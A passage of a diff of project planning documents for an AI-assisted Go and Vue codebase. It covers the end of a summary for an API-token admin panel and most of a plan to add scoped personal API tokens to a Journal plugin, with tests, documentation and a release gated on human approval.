2. **Task 2: List states, show-revoked, revoke, ConfirmDialog wrap** - `1c930b6` (feat)
|
||||
3. **Task 3: Dialog rules smoke tests and My account docs** - `e17207a` (feat)
|
||||
|
||||
**Plan metadata:** (this commit)
|
||||
|
||||
## Component contracts
|
||||
|
||||
| Component | Props | Emits |
|
||||
|-----------|-------|-------|
|
||||
| `ApiTokensPanel` | `confirm: ReturnType<typeof useConfirm>` | — |
|
||||
| `ApiTokenCreateDialog` | `open`, `confirm` | `update:open`, `created`, `closed` |
|
||||
|
||||
## Smoke test names
|
||||
|
||||
- `tracer: list, create, show once, hide`
|
||||
- `list states` (skeleton→empty; load failure)
|
||||
- `revoke` (DELETE confirm; 404 gone; show-revoked)
|
||||
- `dialog rules` (`*` posts `["*"]`; 422 scopes focus; clipboard; close-without-copy)
|
||||
|
||||
## Files Created/Modified
|
||||
- `admin/src/components/account/ApiTokensPanel.vue` — card, list states, revoke
|
||||
- `admin/src/components/account/ApiTokenCreateDialog.vue` — two-step create dialog
|
||||
- `admin/src/views/AccountView.vue` — panel after `</form>`, shared confirm
|
||||
- `admin/src/components/ui/ConfirmDialog.vue` — `[overflow-wrap:anywhere]` on description
|
||||
- `admin/tests/account/ApiTokensPanel.test.ts` — tracer, list, revoke, dialog rules
|
||||
- `modules/phrasebook/backend/lang/{en,pl}/lang.yaml` — SPA api_tokens keys
|
||||
- `docs/backend/users-and-permissions.md`, `docs/backend/admin-spa.md` — My account tokens card
|
||||
|
||||
## Decisions Made
|
||||
- Followed plan/UI-SPEC component split and date formatting (CellValue shapes).
|
||||
- `expired` from the API drives the Expired chip; client clock is not used for that label.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 3 - Blocking] Polish lang fixture for new phrase keys**
|
||||
- **Found during:** Task 1 (AccountView / panel tests use `langFixture` Polish bundle)
|
||||
- **Issue:** Plan listed en/pl YAML only; without `admin/tests/fixtures/lang.json` keys, SPA strings fall back to key paths and assertions on Polish copy fail.
|
||||
- **Fix:** Injected all `backend::lang.api_tokens.*` Polish strings and updated `myaccount.menu_description` in the fixture.
|
||||
- **Files modified:** `admin/tests/fixtures/lang.json`
|
||||
- **Verification:** AccountView and ApiTokensPanel tests pass with Polish copy
|
||||
- **Committed in:** `5a6a190` (Task 1)
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 1 auto-fixed (1 blocking)
|
||||
**Impact on plan:** Required for green admin tests; no scope creep.
|
||||
|
||||
## Issues Encountered
|
||||
None
|
||||
|
||||
## User Setup Required
|
||||
|
||||
None - no external service configuration required.
|
||||
|
||||
## Next Phase Readiness
|
||||
SPA half of SC-3 is in place. Ready for 16.3-03 (Journal scopes + ResolveBackend writes) and 16.3-04 (full unit/backstop matrix).
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- Key files exist on disk
|
||||
- Commits grepped for 16.3-02: 3 task commits
|
||||
- Task acceptance greps and plan verification commands re-run green (typecheck, full admin vitest 1228, check-admin-dist, TestDocsTree)
|
||||
|
||||
---
|
||||
*Phase: 16.3-backend-admin-personal-api-tokens-with-scopes*
|
||||
*Completed: 2026-10-11*
|
||||
@@ -0,0 +1,286 @@
|
||||
---
|
||||
phase: 16.3-backend-admin-personal-api-tokens-with-scopes
|
||||
plan: 03
|
||||
type: execute
|
||||
wave: 3
|
||||
depends_on: ["16.3-01", "16.3-02"]
|
||||
files_modified:
|
||||
- ../sm-journal-plugin/token_scopes.go
|
||||
- ../sm-journal-plugin/lang/en/lang.yaml
|
||||
- ../sm-journal-plugin/lang/pl/lang.yaml
|
||||
- ../sm-journal-plugin/controllers/api/auth.go
|
||||
- ../sm-journal-plugin/controllers/api/auth_test.go
|
||||
- ../sm-journal-plugin/journal_api_token_smoke_test.go
|
||||
- ../sm-journal-plugin/README.md
|
||||
- ../sm-journal-plugin/go.mod
|
||||
- modules/cabana/example_tokens_test.go
|
||||
- docs/services/authentication.md
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
|
||||
autonomous: false
|
||||
requirements: [SC-2, SC-4, SC-5]
|
||||
estimate:
|
||||
tokens: 75000
|
||||
raw_tokens: 75000
|
||||
tasks: 4
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-04 and D-01 (Journal): the Journal plugin implements pact.HasTokenScopes with `journal` (golem15.journal.*, GET, HEAD, POST, PUT, PATCH, DELETE) and `journal:read` (golem15.journal.*, GET, HEAD), labels and descriptions as golem15.journal::lang.scopes.* phrase keys present in lang/en and lang/pl; cabana boot accepts them."
|
||||
- "SC-4 and D-15: POST, PUT and DELETE /_journal/api/v1/posts, the featured-image routes and POST /_journal/api/v1/media/upload accept a Bearer g15_ token whose scope covers golem15.journal.* (journal or `*`), running as the token's owner with the owner's Journal permissions; the backend JWT keeps working exactly as before."
|
||||
- "D-15 byte-identical bodies: a missing, invalid, expired or revoked token answers 401 {\"error\":\"Authentication required\"}; a journal:read token on a write route and a token whose scopes do not cover golem15.journal.* answer 403 {\"error\":\"Insufficient permissions\"}; every other status and body is unchanged."
|
||||
- "D-15 optional auth: GET /_journal/api/v1/posts and /posts/{slug} with a valid journal or journal:read token unlock drafts exactly where the owner may see them; a token that fails or does not cover golem15.journal.* is treated as anonymous (no 401 on public reads)."
|
||||
- "RESEARCH Pitfall 3: the Journal routes resolve their principal only through cabana.ResolveBackend with cover golem15.journal.*, so a token with an unrelated scope never reaches the ownership branches (Post.CanEdit, canViewDraft, featured images)."
|
||||
- "RESEARCH Pitfall 4 (behaviour change, documented): the Journal API now honors code-declared role grants (pact.Permission.Roles) because it uses the admin guard's compiled registry instead of a nil one."
|
||||
- "RESEARCH open question 2 resolved against the frozen PHP tree: PostApiController::uploadFeaturedImage and deleteFeaturedImage check only $post->canEdit($user), like update and destroy; the Go featured-image handlers keep that parity and gain no access_posts check; the token side is closed by the resolver's cover."
|
||||
- "D-20 (Journal and remaining docs): the Journal README documents the two scopes, token auth on writes and optional-auth reads, the reversal of Phase 15 D-15, the code-declared-role change and that the journal-api throttle still keys by client IP; docs/services/authentication.md shows ResolveBackend from a compiled example (ExampleResolveBackend) with neutral names; TestDocsTree and summer docs:build --check pass."
|
||||
- "Release (RESEARCH open question 5, user checkpoint): after a human approves at a blocking checkpoint, an annotated summercms tag (the next free v0.1.x after v0.1.20) containing plans 01 and 02 is on origin; sm-journal-plugin main requires that tag and is pushed; the sm-grzybyfunkcjonalne-app journal gitlink points at the pushed Journal head and is pushed; no pushed tag is moved."
|
||||
artifacts:
|
||||
- path: "../sm-journal-plugin/token_scopes.go"
|
||||
provides: "journal and journal:read scopes"
|
||||
contains: "TokenScopes"
|
||||
- path: "../sm-journal-plugin/controllers/api/auth.go"
|
||||
provides: "requireBackendPrincipal and optionalBackendPrincipal on cabana.ResolveBackend with cover golem15.journal.*"
|
||||
contains: "cabana.ResolveBackend"
|
||||
- path: "../sm-journal-plugin/journal_api_token_smoke_test.go"
|
||||
provides: "Postgres tracer and expansion smoke for token writes"
|
||||
contains: "TestJournalTokenTracer"
|
||||
- path: "modules/cabana/example_tokens_test.go"
|
||||
provides: "compiled ResolveBackend example for the docs"
|
||||
contains: "ExampleResolveBackend"
|
||||
key_links:
|
||||
- from: "../sm-journal-plugin/controllers/api/auth.go requireBackendPrincipal"
|
||||
to: "summercms modules/cabana/token_guard.go ResolveBackend"
|
||||
via: "per-request lookup of the resolver cabana.Activate published (Journal routes register before Activate)"
|
||||
pattern: "ResolveBackend"
|
||||
- from: "../sm-journal-plugin/token_scopes.go"
|
||||
to: "cabana compileTokenScopes at boot"
|
||||
via: "pact.HasTokenScopes on the Journal plugin"
|
||||
pattern: "HasTokenScopes"
|
||||
- from: "summercms annotated tag"
|
||||
to: "../sm-journal-plugin/go.mod require"
|
||||
via: "go mod edit -require after the human-approved push"
|
||||
pattern: "git.golem15.com/golem15/summercms v0.1."
|
||||
prohibitions:
|
||||
- statement: "Journal error bodies and status codes stay byte-identical to the PHP contract; response shapes are not improved during the port (CLAUDE.md rule 6)."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The Journal API never authenticates from the admin cookie; its write routes stay Bearer-only."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "No tag, branch or gitlink is pushed before the human approves at the release checkpoint; no pushed tag is moved or deleted; no credential is requested, printed or committed."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The PHP Journal and Apparatus originals are not changed; Apparatus token rows are not migrated."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): backend users create personal API tokens with scopes picked at creation time, so an agent or integration calls the admin and plugin APIs as that backend user with no more access than the token's scope and the user's own permissions allow. Reverses Phase 15 D-15.
|
||||
|
||||
This plan's slice (user checkpoint, plan 3 of 4): the Journal plugin registers `journal` and `journal:read` and accepts tokens through the published cabana resolver (D-15), the remaining docs (Journal README, a compiled ResolveBackend example), and the release: summercms tag after v0.1.20, the Journal `go.mod` bump and the host gitlink bump, behind a blocking human checkpoint.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
|
||||
|
||||
## Decisions taken in this plan
|
||||
|
||||
- **Featured images (RESEARCH open question 2), checked while planning:** the frozen PHP tree (`/media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/controllers/api/PostApiController.php` uploadFeaturedImage :416-430 and deleteFeaturedImage :459-470) authorizes only through `$post->canEdit($user)`, exactly like update and destroy, under the `token.auth` group in routes.php. The Go handlers already match; this plan adds no `access_posts` check there (API parity is the acceptance test). A `journal:read` token is refused by the method filter, and a token without Journal coverage by the resolver's cover check.
|
||||
- **Resolver errors to Journal bodies:** `cabana.ErrTokenScope` → 403 `errInsufficientPerms`; anything else → 401 `errAuthenticationRequired`; on optional-auth reads any error means anonymous.
|
||||
- **Cover:** every Journal call passes the cover `golem15.journal.*` (RESEARCH Pattern 3).
|
||||
- **Throttle (RESEARCH Pitfall 11):** the `journal-api` bucket still keys by client IP because it runs before the handler resolves the principal; documented, not changed.
|
||||
- **Hosts:** sm-grzybyfunkcjonalne-app is the host that ships the Journal plugin to UAT and gets the journal gitlink bump (16.2 pattern; its framework require is nominal because it builds from `../summercms.go` through a replace). sm-summercmsio-app also carries a Journal gitlink (f5cd5b1, pre-16.2); bumping it would also pull in Phase 16.2, so the release checkpoint asks whether to bump it too (default: no). A UAT redeploy is not part of this plan; the release sheet names it as a follow-up (DEPLOY.md; `migrate` creates backend_api_tokens).
|
||||
- **Tag:** the highest `v0.1.*` plus one (v0.1.21 unless someone tagged first), annotated, created only after the checkpoint.
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- `../sm-journal-plugin/token_scopes.go`: `(*Plugin).TokenScopes` with scopes `journal` and `journal:read`, compile-time assertion for `pact.HasTokenScopes`.
|
||||
- Phrase keys `golem15.journal::lang.scopes.{journal, journal_description, journal_read, journal_read_description}` (en, pl).
|
||||
- `../sm-journal-plugin/controllers/api/auth.go`: `requireBackendPrincipal` and `optionalBackendPrincipal` on `cabana.ResolveBackend`; the plugin's own guard constructor and its blacklist wiring removed; new helper `resolveError` mapping resolver errors to the PHP bodies.
|
||||
- Tests: `TestResolveErrorMapping` (controllers/api, Docker-free); `TestJournalTokenTracer`, `TestJournalTokenExpansion` (root, Postgres).
|
||||
- `modules/cabana/example_tokens_test.go`: `ExampleResolveBackend` (compile-only), included in docs/services/authentication.md.
|
||||
- Journal README sections on scopes and token auth.
|
||||
- Release: summercms annotated tag `v0.1.21` (or next free), Journal `go.mod` require of it, host journal gitlink bump; session values `RELEASE_TAG` and the pushed heads in the SUMMARY.
|
||||
|
||||
<objective>
|
||||
Let an agent manage Journal posts as a backend author with a Journal-scoped token (SC-4), keep the Journal contract byte-identical, finish the docs (SC-5), and release the framework, the plugin and the host bump behind a human gate.
|
||||
|
||||
Purpose: the phase's main use case (CONTEXT Specific Ideas) works end to end against the released framework.
|
||||
Output: Journal scope registration and resolver switch, smoke tests, README and docs, a pushed tag and bumps.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-CONTEXT.md
|
||||
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-RESEARCH.md
|
||||
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-01-SUMMARY.md
|
||||
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-02-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-07-SUMMARY.md
|
||||
|
||||
Repositories: ../sm-journal-plugin builds against ../summercms.go through its go.work replace, so the Journal code works before the tag; its go.mod require is nominal and is bumped after the tag. Release facts at planning time: summercms latest tag v0.1.20 (aba063f); sm-journal-plugin main 5eea57f (requires v0.1.20); sm-grzybyfunkcjonalne-app master f1d53af with journal gitlink 5eea57f. Docker: the Journal root package runs a testcontainers Postgres in TestMain; Docker-free runs use `-short` or the classes and controllers packages. Commits: no co-author tags, stage by explicit path in each repository, tests and code in separate commits where the plan says so.
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 1: Tracer: a journal-scoped token created through the admin API creates a Journal post as its owner</name>
|
||||
<files>../sm-journal-plugin/token_scopes.go, ../sm-journal-plugin/lang/en/lang.yaml, ../sm-journal-plugin/lang/pl/lang.yaml, ../sm-journal-plugin/controllers/api/auth.go, ../sm-journal-plugin/controllers/api/auth_test.go, ../sm-journal-plugin/journal_api_token_smoke_test.go</files>
|
||||
<read_first>../sm-journal-plugin/controllers/api/auth.go (whole file), ../sm-journal-plugin/controllers/api/posts.go (Index :30, Show :119, Store :193, Update :238, Destroy :291, UploadFeaturedImage :323, DeleteFeaturedImage :391), ../sm-journal-plugin/controllers/api/media.go (UploadMedia :18), ../sm-journal-plugin/controllers/api/posts_helpers.go (canViewDraft :33), ../sm-journal-plugin/admin_permissions.go, ../sm-journal-plugin/plugin.go (capability assertions :25-33, Buckets), ../sm-journal-plugin/routes.go, ../sm-journal-plugin/lang/en/lang.yaml and pl/lang.yaml, ../sm-journal-plugin/admin_harness_test.go (TestMain :53, newPostsEnv, bootJournal, e.admin :241, e.call, adminAPI), ../sm-journal-plugin/journal_api_writes_test.go, summercms modules/cabana/token_guard.go (ResolveBackend, ErrUnauthenticated, ErrTokenScope) and 16.3-01-SUMMARY.md</read_first>
|
||||
<action>Per D-04, D-01 and D-15, wire one Journal write through the framework token path.
|
||||
|
||||
Scopes: token_scopes.go declares the compile-time assertion for `pact.HasTokenScopes` and `TokenScopes()` returning `journal` (Permissions golem15.journal.*, Methods GET, HEAD, POST, PUT, PATCH, DELETE) and `journal:read` (golem15.journal.*, GET, HEAD), Label and Description as golem15.journal::lang.scopes.journal, scopes.journal_description, scopes.journal_read and scopes.journal_read_description. Add a `scopes:` block to lang/en and lang/pl (EN: "Journal" / "Create, edit, publish and delete posts as you, within your Journal permissions."; "Journal, read-only" / "Read posts, including drafts you may see, without changing anything."; PL equivalents).
|
||||
|
||||
Resolver switch (reverses Phase 15 D-15): in controllers/api/auth.go replace the plugin's own guard constructor (auth.go :58-81) and its blacklist and registry lookups with `cabana.ResolveBackend(app, r, "golem15.journal.*")`, looked up per request. `requireBackendPrincipal` keeps its signature and writes the existing bodies through a new `resolveError(w, err)`: `errors.Is(err, cabana.ErrTokenScope)` → `writeAPIError(w, 403, errInsufficientPerms)`, anything else → `writeAuthRequired`. `optionalBackendPrincipal` keeps the hasBearer short-cut for anonymous requests and treats every resolver error as anonymous. Remove imports and constants that become unused. No handler in posts.go or media.go changes.
|
||||
|
||||
Tests: `TestResolveErrorMapping` (controllers/api/auth_test.go, Docker-free): ErrTokenScope (also wrapped) → 403 with body exactly {"error":"Insufficient permissions"}, ErrUnauthenticated and a generic error → 401 {"error":"Authentication required"}. `TestJournalTokenTracer` (root package, Postgres): `newPostsEnv`, an admin with golem15.journal.access_posts via `e.admin`, POST `adminAPI("/account/tokens")` with that JWT and {name, scopes:["journal"]} → 201 and a g15_ token; POST /_journal/api/v1/posts with Bearer token and a minimal valid body → 201 and the stored post's user_id equals the admin's id.</action>
|
||||
<verify>
|
||||
<automated>go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 -run '^TestResolveErrorMapping$' -v ./controllers/api/ 2>&1 | grep -- '^--- PASS: TestResolveErrorMapping' && go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/...</automated>
|
||||
<fails_when>Non-zero exit: vet fails (an unused import or constant left behind), no "--- PASS: TestResolveErrorMapping" line (a resolver error maps to the wrong status or body), or a Journal classes or controllers test regressed.</fails_when>
|
||||
<automated>docker info >/dev/null 2>&1 && go -C ../sm-journal-plugin test -count=1 -run '^TestJournalTokenTracer$' -v . 2>&1 | grep -- '^--- PASS: TestJournalTokenTracer'</automated>
|
||||
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN in the SUMMARY), or the journal token could not be created through the admin API, the Journal write was refused, or the post's author is not the token's owner.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "func (\*Plugin) TokenScopes\|func (p \*Plugin) TokenScopes" ../sm-journal-plugin/token_scopes.go` prints one line and `grep -c "journal_read_description" ../sm-journal-plugin/lang/en/lang.yaml ../sm-journal-plugin/lang/pl/lang.yaml` reports 1 per file.
|
||||
- `grep -c "cabana.ResolveBackend" ../sm-journal-plugin/controllers/api/auth.go` reports at least 2.
|
||||
- `grep -v '^\s*//' ../sm-journal-plugin/controllers/api/auth.go | grep -c "NewBackendJWTGuard\|NewPostgresBlacklist"` reports 0.
|
||||
- `git -C ../sm-journal-plugin diff --stat 5eea57f -- controllers/api/posts.go controllers/api/media.go` prints nothing (5eea57f is the pre-phase Journal head; no handler edits).
|
||||
</acceptance_criteria>
|
||||
<done>A journal-scoped token minted on the admin API creates a Journal post as its owner, and the resolver errors map to the PHP bodies.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 2: Journal token matrix (read scope, unrelated scope, optional-auth drafts, featured images, code-declared roles), Journal README, and the compiled ResolveBackend docs example</name>
|
||||
<files>../sm-journal-plugin/journal_api_token_smoke_test.go, ../sm-journal-plugin/README.md, modules/cabana/example_tokens_test.go, docs/services/authentication.md</files>
|
||||
<read_first>../sm-journal-plugin/journal_api_token_smoke_test.go (Task 1), ../sm-journal-plugin/journal_api_writes_test.go and journal_api_matrix_test.go (status and body assertions), ../sm-journal-plugin/admin_permissions.go (Roles developer), ../sm-journal-plugin/README.md (Features :19-28, Usage :30-150, API reference :231, Testing :303), /media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/controllers/api/PostApiController.php (:313-330, :395-430, :459-470) and routes.php (:38-65), modules/cabana/example_test.go and example_controller_test.go (compile-only example style), docs/services/authentication.md (the plan 01 section on admin tokens on plugin routes), internal/docsite/snippet.go (src= rules)</read_first>
|
||||
<action>Pin the rest of D-15 and RESEARCH Pitfalls 3 and 4 with one Postgres smoke, then document.
|
||||
|
||||
`TestJournalTokenExpansion` (root package, Postgres, same harness): with tokens created through the admin API for an editor that has golem15.journal.access_posts but not access_other_posts: a `journal:read` token POST /posts → 403 {"error":"Insufficient permissions"}; a `journal:read` token GET /posts/{slug} of the editor's own draft → 200 while an anonymous GET → 404; a token for a scope that does not cover golem15.journal.* (register a second test scope or use the framework `admin:read` on a POST) on POST /posts → 403 and on GET /posts behaves as anonymous; a `journal` token uploads and deletes a featured image on the editor's own post (canEdit parity, no access_posts requirement added) and gets 403 on another author's post; a revoked token → 401 {"error":"Authentication required"}; an admin whose Journal access comes only from the code-declared developer role (no role or user grant rows) creates a post with a JWT (Pitfall 4 behaviour change). Compare bodies byte for byte with the existing constants.
|
||||
|
||||
Journal README (D-20): Features line for writes ("a cabana backend JWT or a personal admin API token, g15_…, whose scope covers the Journal"); Usage: the two scopes (`journal`, `journal:read`), a token example request, optional-auth reads unlocking drafts, the error bodies, the reversal of Phase 15 D-15, the code-declared role change, the featured-image parity note and the IP-keyed journal-api throttle; API reference row for `journal.Plugin.TokenScopes`; Testing: the new tests.
|
||||
|
||||
Framework docs (D-20, remaining): `modules/cabana/example_tokens_test.go` with a compile-only `ExampleResolveBackend` showing a plugin handler (acme names) that calls `cabana.ResolveBackend(app, r, "acme.blog.*")` and maps `cabana.ErrTokenScope` to 403 and other errors to 401; include it in docs/services/authentication.md with a `src=modules/cabana/example_tokens_test.go#ExampleResolveBackend` fence next to the prose plan 01 wrote, and say the resolver reads the Bearer header only. Then check that every exported identifier this phase added is named in its module README (pact TokenScope, HasTokenScopes; bouncer ScopeLimit; party Activated; cabana BackendAPIToken, APITokenPrefix, ResolveBackend, ErrUnauthenticated, ErrTokenScope) and every admin:token command in the cabana README and docs/console/setup-and-maintenance.md; fix any gap in the same commit.</action>
|
||||
<verify>
|
||||
<automated>go vet ./modules/cabana && go test -count=1 -run '^ExampleResolveBackend$|^TestDocsTree$' ./modules/cabana ./cmd/summer && go run ./cmd/summer docs:build --check && go -C ../sm-journal-plugin vet ./...</automated>
|
||||
<fails_when>Non-zero exit: the example does not compile, TestDocsTree or docs:build --check reports an unknown identifier, a stale src= fence or a consuming-application name, or the Journal tests fail vet.</fails_when>
|
||||
<automated>docker info >/dev/null 2>&1 && go -C ../sm-journal-plugin test -count=1 -run '^(TestJournalTokenTracer|TestJournalTokenExpansion|TestJournalWriteUnauthenticated|TestJournalFeaturedImageUnauthenticated)$' -v . 2>&1 | grep -c '^--- PASS: Test' | grep -qx 4</automated>
|
||||
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or fewer than four passing tests: a read or unrelated scope reached a write, a draft leaked or stayed hidden, a featured-image route changed its PHP behaviour, an existing unauthenticated contract test changed, or a body differs from the PHP constants.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "journal:read" ../sm-journal-plugin/README.md` prints at least one line and `grep -n "Phase 15" ../sm-journal-plugin/README.md` names the reversal.
|
||||
- `grep -n "src=modules/cabana/example_tokens_test.go#ExampleResolveBackend" docs/services/authentication.md` prints one line.
|
||||
- For each of TokenScope, HasTokenScopes, ScopeLimit, Activated, BackendAPIToken, APITokenPrefix, ResolveBackend, ErrUnauthenticated, ErrTokenScope, `grep -l` over modules/pact/README.md, modules/bouncer/README.md, modules/party/README.md and modules/cabana/README.md finds at least one file.
|
||||
</acceptance_criteria>
|
||||
<done>Read-only, unrelated and revoked tokens are refused with the PHP bodies, drafts unlock as the owner may see them, featured images keep PHP parity, and the Journal README and framework docs cover the token integration.</done>
|
||||
</task>
|
||||
|
||||
<task type="checkpoint:decision" gate="blocking-human">
|
||||
<name>Task 3: Release gate: local checks green, tag chosen, one-way surfaces listed, a human approves the tag and pushes</name>
|
||||
<read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-07-SUMMARY.md (how the last release ran), 16.3-01-SUMMARY.md, 16.3-02-SUMMARY.md and this plan's Task 1-2 SUMMARY notes (commits per repository, Postgres tests NOT RUN), 16.3-REVIEW.md and 16.3-SECURITY.md when present, ../sm-journal-plugin/go.mod, ../sm-grzybyfunkcjonalne-app/.gitmodules</read_first>
|
||||
<action>Do everything automatable, print a release sheet, then stop.
|
||||
|
||||
Concurrency: in summercms.go `git status --porcelain -- modules admin docs scripts cmd` prints nothing, `git fetch origin --tags`, `git log --oneline HEAD..origin/master` prints nothing; the same clean and not-behind checks for ../sm-journal-plugin (main) and ../sm-grzybyfunkcjonalne-app (master). If an origin has commits this checkout lacks, stop and report; never merge or rebase on your own.
|
||||
|
||||
Tag: if `git tag --contains` on the first plan 01 commit lists a tag, propose reusing it; otherwise propose the highest of `git tag -l 'v0.1.*' --sort=-v:refname` plus one (v0.1.21 if nobody tagged after v0.1.20) and confirm with `git ls-remote --tags origin` that it does not exist.
|
||||
|
||||
Run the gate (verify command). Release sheet: the proposed tag; the one-way surfaces the tag publishes (pact.TokenScope and pact.HasTokenScopes; bouncer.ScopeLimit and Principal.Scope; party.Activated; cabana.BackendAPIToken, APITokenPrefix, ResolveBackend, ErrUnauthenticated, ErrTokenScope; the four account token routes; the g15_ format from D-07; table backend_api_tokens and migration 202610110001_backend_api_tokens); commits to push per repository; the Postgres suites recorded NOT RUN in plans 01 to 03; open high findings from 16.3-REVIEW.md or 16.3-SECURITY.md if they exist (an open high finding allows only docker-first or hold, per security_block_on high); whether sm-summercmsio-app's Journal gitlink should also move (it would pull in Phase 16.2; default no); and that a UAT redeploy is a separate follow-up. Stop for the human.</action>
|
||||
<decision>Push summercms master and the proposed annotated tag, push the Journal go.mod bump, and push the host journal gitlink bump now?</decision>
|
||||
<context>A pushed tag is read by other repositories' go.mod and the Go module proxy and publishes the pact scope capability and the cabana resolver; it cannot be moved, only superseded. Once a host deploys it, issued g15_ tokens live in agent configs (D-07 one-way). The unit-test plan (04) runs after this release, as in 16.2 (lean rule 3); its tests ship with the next tag.</context>
|
||||
<options>
|
||||
<option id="release-now">
|
||||
<name>Release now with the proposed tag</name>
|
||||
<pros>Hosts and the Journal plugin get scoped tokens immediately; the main use case is usable</pros>
|
||||
<cons>Postgres suites recorded NOT RUN run later on a Docker host; a defect then needs the next tag</cons>
|
||||
</option>
|
||||
<option id="docker-first">
|
||||
<name>Run the Docker-host suites first, then release</name>
|
||||
<pros>The cabana token, account, command and conformance suites, the lagoon migration tests and the Journal token tests all run before the tag exists</pros>
|
||||
<cons>Needs a Docker-enabled machine and delays the release</cons>
|
||||
</option>
|
||||
<option id="hold">
|
||||
<name>Hold the release</name>
|
||||
<pros>Nothing leaves this machine</pros>
|
||||
<cons>Journal stays JWT-only for hosts; agents cannot use tokens yet</cons>
|
||||
</option>
|
||||
</options>
|
||||
<resume-signal>Reply "release vX" (release-now), "docker passed, release vX" (docker-first, after the human ran the suites), optionally adding "and summercmsio" to also bump sm-summercmsio-app, or "hold".</resume-signal>
|
||||
<verify>
|
||||
<automated>go vet ./... && go -C ../sm-journal-plugin vet ./... && go test -count=1 -run '^(TestTokenTracerSmoke|TestTokenGatesSmoke|TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestPhase10ConformanceInventory|TestPhase10CSRF)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 6 && go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... && go test -count=1 ./cmd/summer -run 'TestDocsTree|TestDelegateCommandsHelp' && go run ./cmd/summer docs:build --check && npm --prefix admin test && bash scripts/check-admin-dist.sh && bash scripts/check-admin-openapi.sh --check && echo release-gate-ok</automated>
|
||||
<fails_when>Non-zero exit or "release-gate-ok" absent: vet fails in either repository, fewer than six "--- PASS: Test" lines for the cabana token and inventory set, a Journal classes or controllers test fails, a docs check fails, an admin vitest case fails, or a dist or OpenAPI drift gate reports stale output.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- The gate printed release-gate-ok and the three repositories were clean and not behind origin.
|
||||
- The SUMMARY records the release sheet (tag, one-way surfaces, commits per repository, suites NOT RUN, review findings, the sm-summercmsio-app question) and the human's reply verbatim.
|
||||
</acceptance_criteria>
|
||||
<done>A human chose release-now or docker-first with a named tag, or hold (the plan stops).</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 4: Release: annotated summercms tag, Journal go.mod bump, host journal gitlink bump, all pushed</name>
|
||||
<reversibility rating="one-way">A pushed annotated summercms tag publishes pact.HasTokenScopes and cabana.ResolveBackend to other repositories' go.mod and the Go module proxy (only supersedable), and lets hosts issue g15_ tokens in the D-07 format that then live in agent configs.</reversibility>
|
||||
<precondition>Task 3 was answered "release vX" or "docker passed, release vX"; RELEASE_TAG is that tag in the session; `git ls-remote --tags origin "refs/tags/$RELEASE_TAG"` prints nothing unless Task 3 recorded a reused tag.</precondition>
|
||||
<files>../sm-journal-plugin/go.mod, ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal</files>
|
||||
<read_first>this plan's Task 3 release sheet in the SUMMARY, ../sm-journal-plugin/go.mod, ../sm-journal-plugin/go.work, ../sm-grzybyfunkcjonalne-app/.gitmodules, .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-07-SUMMARY.md (Release table)</read_first>
|
||||
<action>Framework: unless Task 3 recorded a reused tag, re-run `git log --oneline HEAD..origin/master` (must print nothing), create the annotated tag on summercms.go master HEAD with message "$RELEASE_TAG: personal admin API tokens with scopes (pact.HasTokenScopes, cabana.ResolveBackend, admin:token commands, My account API tokens panel)", then push master and the tag.
|
||||
|
||||
sm-journal-plugin: `go -C ../sm-journal-plugin mod edit -require=git.golem15.com/golem15/summercms@$RELEASE_TAG` (the go.work replace stays, so the require is nominal); `go -C ../sm-journal-plugin vet ./...`; commit go.mod alone as "chore(deps): require summercms $RELEASE_TAG"; push main (this publishes Tasks 1 and 2).
|
||||
|
||||
Host ../sm-grzybyfunkcjonalne-app: in plugins/golem15/journal fetch origin and check out the sm-journal-plugin main just pushed; commit the gitlink alone as "chore: bump journal plugin (personal admin API tokens)" and push master. Only when the human's reply included "and summercmsio", do the same for ../sm-summercmsio-app/plugins/golem15/journal and report its build result. Record every pushed head and the tag object in the SUMMARY.</action>
|
||||
<verify>
|
||||
